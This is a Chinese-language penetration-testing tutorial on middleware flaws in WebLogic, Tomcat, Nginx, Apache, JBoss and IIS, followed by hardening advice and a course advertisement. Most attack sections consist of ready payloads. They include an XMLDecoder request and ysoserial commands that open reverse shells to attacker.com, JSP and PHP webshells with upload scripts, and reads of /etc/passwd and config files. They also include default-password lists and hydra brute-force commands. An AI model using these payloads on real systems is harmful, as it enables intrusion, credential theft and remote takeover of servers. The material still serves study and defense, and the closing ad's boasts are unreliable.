一、中间件安全概述
中间件(Middleware)是位于操作系统和应用程序之间的软件,为应用程序提供运行环境和通用服务。常见的Web中间件包括WebLogic、Tomcat、Nginx、Apache、JBoss、WebSphere等,中间件安全漏洞是渗透测试中最重要的攻击面之一。
常见中间件漏洞类型
| 漏洞类型 | 危害等级 | 典型漏洞 | 影响中间件 |
|---|---|---|---|
| 反序列化 | 严重 | WebLogic T3/CVE-2018-2628 | WebLogic/JBoss |
| 未授权访问 | 高危 | WebLogic控制台未授权 | WebLogic/Tomcat |
| 弱口令 | 高危 | 后台默认密码 | WebLogic/Tomcat |
| 代码执行 | 严重 | Struts2 RCE | Tomcat |
| 文件上传 | 高危 | 后台部署War包 | Tomcat |
| 路径穿越 | 高危 | Nginx alias穿越 | Nginx |
| 解析漏洞 | 高危 | Apache多后缀解析 | Apache/Nginx |
| 配置不当 | 中危 | 目录列出/信息泄露 | 全部 |
二、WebLogic漏洞
1. WebLogic概述
WebLogic是Oracle公司出品的Java EE应用服务器,广泛应用于企业级应用部署,也是漏洞最多、危害最大的中间件之一。
2. T3协议反序列化漏洞(CVE-2018-2628)
# 漏洞原理:# WebLogic T3协议在反序列化过程中,攻击者可以构造恶意序列化数据# 导致远程代码执行# 1. 检测T3端口(默认7001)nmap-p7001target.com# 2. 验证T3服务# 发送T3协议握手包python3-c" import socket s = socket.socket() s.connect(('target.com',7001))s.send(b't3 12.2.1\n') print(s.recv(1024)) s.close() "# 如果返回 "HELO" 说明T3服务开放# 3. 使用ysoserial生成Payloadjava-jarysoserial.jar JRMPClient"attacker.com:4444">payload.bin# 4. 使用漏洞利用工具# weblogic_exploit.pypython3 weblogic_exploit.py target.com7001payload.bin# 5. 或使用自动化扫描nuclei-tweblogic-t3-rce.yaml-uhttp://target.com:70013. WebLogic SSRF漏洞
# CVE-2014-4210 - WebLogic SSRF# 漏洞URL: /uddiexplorer/SearchPublicRegistries.jsp# 1. 访问漏洞页面http://target.com:7001/uddiexplorer/SearchPublicRegistries.jsp# 2. 构造SSRF请求http://target.com:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:80&rdoSearch=name&text=1&operator=http://127.0.0.1:7001# 3. 探测内网端口http://target.com:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:PORT# 4. 攻击内网Redis(通过SSRF)http://target.com:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:6379/test4. WebLogic弱口令
# 默认后台路径/console# 默认账号密码weblogic / weblogic weblogic / welcome1 weblogic / weblogic123 weblogic /12345678# 1. 访问后台登录页http://target.com:7001/console/login/LoginForm.jsp# 2. 爆破密码hydra-Lusers.txt-Ppass.txt target.com http-post-form\"/console/j_security_check:j_username=^USER^&j_password=^PASS^:Error"# 3. 登录后部署War包# 部署 → 安装 → 上传War包 → 部署应用# 访问 http://target.com:7001/shell/cmd.jsp?cmd=whoami5. WebLogic XMLDecoder反序列化(CVE-2017-10271)
# 漏洞URL: /wls-wsat/CoordinatorPortType# 1. 发送恶意XML请求POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: target.com:7001 Content-Type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><javaversion="1.8.0"class="java.beans.XMLDecoder"><voidclass="java.lang.ProcessBuilder"><arrayclass="java.lang.String"length="3"><voidindex="0"><string>/bin/bash</string></void><voidindex="1"><string>-c</string></void><voidindex="2"><string>bash-i>&/dev/tcp/attacker.com/44440>&1</string></void></array><voidmethod="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>6. WebLogic漏洞汇总
| CVE编号 | 漏洞名称 | 影响版本 | 类型 |
|---|---|---|---|
| CVE-2017-10271 | XMLDecoder反序列化 | 10.3.6/12.1.3 | RCE |
| CVE-2018-2628 | T3协议反序列化 | 全版本 | RCE |
| CVE-2019-2725 | wls922反序列化 | 10.3.6/12.1.3 | RCE |
| CVE-2020-14882 | 后台未授权 | 全版本 | RCE |
| CVE-2020-14883 | 后台代码执行 | 全版本 | RCE |
| CVE-2014-4210 | SSRF | 10.0.0-10.3.6 | SSRF |
三、Tomcat漏洞
1. Tomcat概述
Apache Tomcat是使用最广泛的Java Web服务器,几乎每个Java项目都会使用Tomcat。
2. Tomcat后台弱口令+War包部署
# 1. 默认后台路径/manager/html# 默认账号密码tomcat / tomcat admin / admin admin /123456tomcat / s3cret manager / manager# 2. 爆破后台hydra-Lusers.txt-Ppass.txt target.com http-get /manager/html# 3. 制作War包# jsp木马cat>cmd.jsp<<'EOF' <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } %> EOF# 打包Warjar cvf shell.war cmd.jsp# 4. 上传War包部署# 后台 → Deploy → WAR file to deploy → 上传shell.war# 5. 访问WebShellhttp://target.com/shell/cmd.jsp?cmd=whoami3. Tomcat AJP漏洞(CVE-2020-1938)
# Ghostcat幽灵猫漏洞 - AJP协议文件读取/包含# 默认AJP端口: 8009# 1. 检测AJP端口nmap-p8009target.com# 2. 使用漏洞利用工具python3 ajpShooter.py http://target.com8009/WEB-INF/web.xmlread# 3. 读取任意文件python3 ajpShooter.py http://target.com8009/etc/passwdread# 4. 执行代码(配合文件上传)python3 ajpShooter.py http://target.com8009/upload/shell.jspeval4. Tomcat PUT方法漏洞(CVE-2017-12615)
# Tomcat PUT方法允许上传任意文件# 影响版本: Tomcat 7.0.0-7.0.79 (Windows)# 1. 检测PUT方法curl-XOPTIONS http://target.com/# 如果Allow中包含PUT# 2. 上传JSP文件curl-XPUT http://target.com/shell.jsp/-d'<%@ page import="java.io.*" %><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'# 3. 访问WebShellcurlhttp://target.com/shell.jsp?cmd=whoami5. Tomcat漏洞汇总
| CVE编号 | 漏洞名称 | 影响版本 | 类型 |
|---|---|---|---|
| CVE-2020-1938 | AJP文件读取/包含 | 6.x-9.x | 文件读取/RCE |
| CVE-2017-12615 | PUT方法上传 | 7.0.0-7.0.79 | 文件上传 |
| CVE-2017-5638 | Struts2 RCE | 集成Struts2 | RCE |
| CVE-2019-0232 | AJP命令注入 | 9.0.0-9.0.17 | RCE |
| CVE-2021-25170 | Session覆盖 | 全版本 | 认证绕过 |
四、Nginx漏洞
1. Nginx概述
Nginx是使用最广泛的高性能Web服务器/反向代理服务器,市场份额超过Apache。
2. Nginx配置不当导致的路径穿越
# 漏洞配置示例location /files{alias/home/user/uploads/;}# 正常访问: http://target.com/files/image.jpg# 实际路径: /home/user/uploads/image.jpg# 穿越攻击: http://target.com/files../# 实际路径: /home/user/# 可以读取上级目录文件# 利用方法:curlhttp://target.com/files../../../etc/passwdcurlhttp://target.com/files../web.configcurlhttp://target.com/files../application.yml# 原因:alias路径以/结尾,但location不以/结尾时产生路径穿越# 正确配置:location /files/{alias/home/user/uploads/;}3. Nginx解析漏洞
# Nginx + PHP-FPM 解析漏洞# 当PHP配置中cgi.fix_pathinfo=1时# 1. 上传图片马(包含PHP代码的图片文件)# 2. 通过以下方式触发解析http://target.com/image.jpg/x.php# Nginx将请求转发给PHP-FPM# PHP-FPM解析image.jpg为PHP代码# 利用条件:# 1. Nginx配置了 location ~ \.php 传递给PHP-FPM# 2. PHP配置 cgi.fix_pathinfo=1# 3. security.limit_extensions 为空(不限制扩展名)4. Nginx CRLF注入
# 漏洞配置示例location /redirect{return302https://$host$uri;}# 正常访问: http://target.com/redirect/page# 响应头: Location: https://target.com/redirect/page# CRLF注入: http://target.com/redirect/%0d%0aSet-Cookie:admin=1# 响应头:# Location: https://target.com/redirect/# Set-Cookie: admin=1# 利用:注入响应头实现Cookie设置或XSShttp://target.com/redirect/%0d%0aContent-Length:0%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>5. Nginx常见配置问题
# 1. 目录列出 autoindex on; # 应关闭: autoindex off; # 2. 隐藏版本号 server_tokens off; # 不暴露Nginx版本信息 # 3. 错误页面信息泄露 error_page 500 502 503 504 /50x.html; # 自定义错误页面,不显示服务器路径 # 4. 未限制请求体大小 client_max_body_size 10m; # 限制上传文件大小 # 5. 未限制并发连接 limit_conn perip 10; limit_req zone=one burst=20; # 防止DDoS和爆破攻击五、Apache漏洞
1. Apache概述
Apache HTTP Server是世界上使用最早的Web服务器软件,目前在市场份额上仅次于Nginx。
2. Apache多后缀解析漏洞
# 漏洞原理:# Apache配置 handler application/x-httpd-php .php# Apache从右向左解析后缀,遇到认识的扩展名就按该类型处理# 1. 上传文件 shell.php.jpg# Apache解析时: .jpg不认识 → .php认识 → 按PHP执行# 2. 上传文件 shell.php.xxx# 只要.php在后缀中,就可能被解析# 利用:curlhttp://target.com/uploads/shell.php.jpg?cmd=whoami3. Apache HTTPD换行解析漏洞(CVE-2017-15715)
# 影响版本: Apache 2.4.0-2.4.29# 1. 上传文件时,文件名末尾添加换行符(\x0a)# shell.php%0a → 服务器认为是shell.php\n,绕过黑名单# 2. 利用方法# 上传文件名: shell.php\n (0x0a)# Apache解析为PHP文件执行# Python上传脚本importrequests url="http://target.com/upload.php"files={'file':('shell.php\x0a','<?php @eval($_POST[cmd]);?>','image/jpeg')}r=requests.post(url,files=files)print(r.text)# 访问WebShellcurlhttp://target.com/uploads/shell.php%0a?cmd=whoami4. Apache目录遍历
# 配置不当导致目录列出# httpd.conf<Directory /var/www/html>Options Indexes FollowSymLinks# Indexes开启目录列出</Directory># 关闭目录列出Options-Indexes5. Apache SSI注入
# 当Apache开启SSI(Server Side Includes)时# 文件扩展名 .shtml# SSI命令注入<!--#exec cmd="whoami" --><!--#exec cmd="cat /etc/passwd" --># 利用:在支持SSI的文件中注入SSI命令6. Apache漏洞汇总
| CVE编号 | 漏洞名称 | 影响版本 | 类型 |
|---|---|---|---|
| CVE-2017-15715 | 换行解析漏洞 | 2.4.0-2.4.29 | 文件上传 |
| CVE-2021-41773 | 路径穿越 | 2.4.49 | 目录遍历 |
| CVE-2021-42013 | 路径穿越绕过 | 2.4.50 | 目录遍历/RCE |
| CVE-2017-7679 | mod_mime缓冲区溢出 | 2.4.x | RCE |
| CVE-2019-0211 | 本地提权 | 2.4.17-2.4.38 | 提权 |
六、其他中间件漏洞
1. JBoss反序列化
# JBoss反序列化漏洞# 漏洞路径: /invoker/readonly# 1. 检测JBosscurlhttp://target.com:8080/# 2. 反序列化利用java-jarysoserial.jar CommonsCollections5"whoami">payload.bin python3 jboss_exploit.py target.com8080payload.bin# 3. JMX Console未授权http://target.com:8080/jmx-console/# 可部署War包2. WebSphere漏洞
# WebSphere默认后台/admin/console# 默认端口: 9043/9060/8880# 1. 弱口令admin / admin admin / password websphere / websphere# 2. Java反序列化# 漏洞路径: /ivt/ivtresults3. IIS漏洞
# IIS 6.0 解析漏洞# 1. 目录解析: xxx.asp/1.jpg → 按ASP执行# 2. 文件解析: xxx.asp;.jpg → 按ASP执行# IIS 7.0/7.5 解析漏洞# xxx.jpg/phpinfo.php → PHP-CGI解析漏洞# IIS PUT方法# 检测: OPTIONS → Allow: PUT# 上传文件: PUT /shell.txt# MOVE: 将.txt重命名为.asp七、中间件漏洞防御
1. WebLogic加固
# 1. 升级到最新版本# 2. 禁用T3协议或限制访问# WebLogic控制台 → 服务器 → 协议 → 禁用T3# 3. 删除不必要的模块# 删除 /uddiexplorer /wls-wsat 等# 4. 修改默认口令# 5. 限制后台访问IP# 修改 weblogic.xml 限制 /console 访问# 6. 配置WAF规则2. Tomcat加固
<!-- 1. 修改默认端口 --><Connectorport="8080"→port="8899"/><!-- 2. 关闭AJP连接器 --><!-- 注释掉 --><!-- <Connector protocol="AJP/1.3" port="8009" /> --><!-- 3. 删除默认应用 --><!-- 删除 webapps下的 docs/examples/manager/host-manager --><!-- 4. 修改后台密码 --><!-- 修改 conf/tomcat-users.xml --><!-- 5. 禁用PUT方法 --><!-- web.xml中配置 --><!-- 6. 配置错误页面 --><error-page><error-code>404</error-code><location>/404.html</location></error-page><!-- 7. 隐藏版本号 --><!-- Server.xml中设置 Connector server="Custom" -->3. Nginx加固
# 1. 隐藏版本号 server_tokens off; # 2. 修复路径穿越 # 确保 location 和 alias 的路径末尾同时有/或同时没有/ # 3. 限制请求方法 if ($request_method !~ ^(GET|POST|HEAD)$) { return 405; } # 4. 限制文件大小 client_max_body_size 10m; client_body_buffer_size 128k; # 5. 防止CRLF注入 # 使用 $request_uri 替代 $uri # 6. 安全响应头 add_header X-Frame-Options "SAMEORIGIN"; add_header X-Content-Type-Options "nosniff"; add_header X-XSS-Protection "1; mode=block"; # 7. 限制PHP解析范围 location ~ \.php$ { # 只在特定目录解析PHP root /var/www/html; # 禁止上传目录执行PHP if ($request_uri ~* /uploads/) { return 403; } }4. Apache加固
# 1. 隐藏版本号 ServerTokens Prod ServerSignature Off # 2. 禁止目录列出 <Directory /var/www/html> Options -Indexes </Directory> # 3. 限制PHP解析范围 <Directory "/var/www/html/uploads"> php_admin_flag engine off </Directory> # 4. 禁用危险方法 <LimitExcept GET POST HEAD> Require all denied </LimitExcept> # 5. 修复解析漏洞 # 使用 SetHandler 而非 AddHandler <FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch> # 只匹配以.php结尾的文件八、中间件漏洞扫描工具
| 工具名称 | 功能 | 适用场景 |
|---|---|---|
| nuclei | 综合漏洞扫描 | 批量扫描中间件CVE漏洞 |
| weblogicScanner | WebLogic扫描 | 批量检测WebLogic漏洞 |
| CVE-2020-1938 | Tomcat AJP利用 | Ghostcat漏洞利用 |
| NginxParser | Nginx配置审计 | 检测Nginx配置安全问题 |
| nikto | Web服务器扫描 | 综合Web服务器安全扫描 |
| whatweb | 指纹识别 | 识别中间件类型和版本 |
# nuclei批量扫描nuclei-uhttp://target.com-ttechnologies/# 指纹识别whatweb http://target.com# Nikto综合扫描nikto-hhttp://target.com# HTTP指纹识别curl-Ihttp://target.com/九、实战案例
案例一:WebLogic反序列化到内网
# 1. 发现WebLogicnmap-p7001target.com# 2. 检测T3反序列化# 发送T3握手确认服务存在# 3. 使用CVE-2018-2628利用工具# 利用JRMP协议远程加载恶意类java-jarysoserial.jar CommonsCollections5"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}">payload.bin# 4. 发送Payload到目标python3 weblogic_exploit.py target.com7001payload.bin# 5. 获取Shell后信息收集# 6. 横向移动到内网案例二:Nginx路径穿越读取配置文件
# 1. 发现Nginx路径穿越curlhttp://target.com/files../# 返回上级目录列表# 2. 读取配置文件curlhttp://target.com/files../application.yml# 获取数据库密码:# spring:# datasource:# url: jdbc:mysql://192.168.1.10:3306/webapp# username: root# password: Root@123# 3. 使用获取的密码连接内网MySQLmysql-h192.168.1.10-uroot -pRoot@123总结
中间件安全是渗透测试和运维安全的核心领域。本文系统讲解了WebLogic、Tomcat、Nginx、Apache四大主流中间件的安全漏洞和加固方法,涵盖反序列化、未授权访问、弱口令、解析漏洞、路径穿越等主流漏洞类型,建议结合Vulhub靶场进行实战练习。
学习资源
2026年最新版本,全网最全的网安视频教程。耗时半年打造,之前都是内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!全网独一份,你不可能在网上找到这么专业的教程。
内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。
总共200多节视频,200多G的资源,不用担心学不全。(包含攻击与防守、漏洞挖掘、CTF比赛等技术点)
1、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、 部分核心内容展示
独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识
2、Linux操作系统
3、WEB架构基础与HTTP协议
4、Web渗透测试
5、渗透测试案例分享
6、渗透测试实战技巧
7、攻防对战实战
8、CTF之MISC实战讲解
3、适合学习的人群
一、基础适配人群
零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链;
开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业;
应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期;
二、能力提升适配
1、技术爱好者:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者;
2、安全从业者:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力;
3、合规需求者:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传,戳下面拿:
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————